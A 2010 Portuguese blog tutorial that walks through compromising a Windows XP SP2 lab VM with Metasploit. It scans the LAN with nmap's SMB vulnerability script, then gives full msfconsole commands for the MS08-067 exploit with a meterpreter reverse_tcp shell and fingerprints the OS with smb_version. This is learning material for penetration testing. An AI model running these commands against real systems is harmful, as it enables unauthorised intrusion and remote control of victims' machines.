quarta-feira, 28 de abril de 2010

Acessando o winsp3 com metasploit

Aqui vai um artigo falando sobre o framework Metasploit. Irei demonstrar algumas técnicas simples/básicas de scanning e fingerprint usando o Metasploit e em seguida exploraremos uma máquina MS para obtermos uma shell. Let`s go to the paty???


Começando!
Bom galera, vamos começar!

Para que você possa ter uma boa noção de como o Metasploit realmente funciona, nada melhor que conseguir obter o acesso a uma máquina (virtual) e assim poder testar e estudar todas suas funcionalidades, ficando cada dia mais "afiado" em seus testes de intrusão. Sim, este artigo é bem básico.

O cenário utilizado foi o seguinte:



Neste caso são 2 máquinas virtuais (VMs) criadas usando o Virtualbox. As placas de rede de ambas VMs estão configuradas como bridge.

* 1ª VM = Sistema Operacional Backtrack 4 Final com endereço IP 192.168.0.170.
* 2ª VM = Sistema Operacional Windows XP SP2 com endereço IP 192.168.0.186.


Quer saber mais sobre Virtualbox? Digite "virtualbox" no campo de pesquisa google que encontrará ótimos artigos/dicas sobre o mesmo.

[b]Scanning com Nmap e Metasploit
Ok pessoal, vamos utilizar a ferramenta "nmap" para fazer o scanning em nossa rede interna.

Abra um terminal no micro com o Backtrack e digite o seguinte comando:

# nmap -v --script=smb-check-vulns 192.168.0.0/24

* -v = Modo Verbose
* --script=smb-check-vulns = Script para verificar vulnerabilidades conhecidas, como por exemplo, MS08-067, Conficker, regsvc DoS e SMBv2 exploit.
* 192.168.0.0/24 = Range de IP utilizado em minha rede local.



Se repararem, no host com endereço IP 192.168.0.186, verá que são mostradas as portas que estão abertas, e em MS08-067 está como VULNERABLE, tendo essa "simples" base, vamos atacá-lo.

Certo, descobrimos um host dentro da nossa [i]LAN que está possivelmente vulnerável ao nosso ataque pretendido! Agora vamos carregar o Metasploit. No terminal, basta digitar msfconsole e...



Obtemos nosso console do msf.

Feito isto, vamos efetuar a intrusão na máquina. Os comandos são os seguintes:

use exploit/windows/smb/ms08_067_netapi #Aqui falamos que queremos usar o exploit ms08_067_netapi
set RHOST 192.168.0.186 #Aqui setamos o nosso host remoto, que no caso é o endereço IP da VM com Windows XP SP2
set PAYLOAD windows/meterpreter/reverse_tcp #Aqui especificamos o payload que iremos utilizar, reverse_tcp, ele é o responsável por criar a nossa comunicação entre LHOST e RHOST.
set LHOST 192.168.0.170 #Aqui setamos nosso host local, que no caso é o endereço IP da VM com Backtrack 4.
exploit #E finalmente executamos nosso exploit.


Pronto! Ganhamos nossa shell meterpreter, ou seja, já estamos na máquina alvo. Experimente dar os comandos sysinfo e ipconfig.



Ok! Vamos ver outros recursos que podemos utilizar antes de executarmos o exploit.

Opções Metasploit
Quando executamos o comando exploit, será realizado um "fingerprint" para a detecção do sistema operacional e verificar se o mesmo consta em sua lista de SOs vulneráveis.

Como vimos através do script do nmap que nosso alvo é vulnerável, nós podemos realizar o processo de fingerprint e passar as especificações corretas para o msf, assim nosso exploit não precisará realizar esta etapa, gerando possibilidades menores de erros.

Certo, mas como? Vamos utilizar um módulo auxiliar presente no Metasploit para descobrir a versão do SO, o idioma, nome da máquina e o domínio.

Executaremos os seguintes comandos no console do msf:

use auxiliary/scanner/smb/smb_version #Falamos que queremos utilizar o scanner smb_version.
set RHOSTS 192.168.0.186 #Aqui eu setei um único host (192.168.0.186), mas poderia especificar um range, exemplo, 192.168.0.0/24.
run #Comando para executar nosso scanner.



Agora já sabemos a versão certa do SO e o idioma, com isso especificaremos em nosso exploit usando a opção set TARGET.

use exploit/windows/smb/ms08_067_netapi #Aqui falamos que queremos usar o exploit ms08_067_netapi
set RHOST 192.168.0.186 #Aqui setamos o nosso host remoto, que no caso é o endereço IP da VM com Windows XP SP2
set PAYLOAD windows/meterpreter/reverse_tcp #Aqui especificamos o payload que iremos utilizar, reverse_tcp, ele é o responsável por criar a nossa comunicação entre LHOST e RHOST.
set LHOST 192.168.0.170 #Aqui setamos nosso host local, que no caso é o endereço IP da VM com Backtrack 4.
set TARGET 31 #Aqui eu digo que o alvo usa
exploit #E finalmente executamos nosso exploit.


Veja o ataque agora.



Veja que não foi realizada a etapa de fingerprint com o alvo, pois "falamos" para o exploit o S.O. que ele encontrará em seu destino.

Ok! Finish! The end! Heheheh

Ah!

É isso galera, intrusão simples, sendo recomendado para quem ainda está começando com o Metasploit.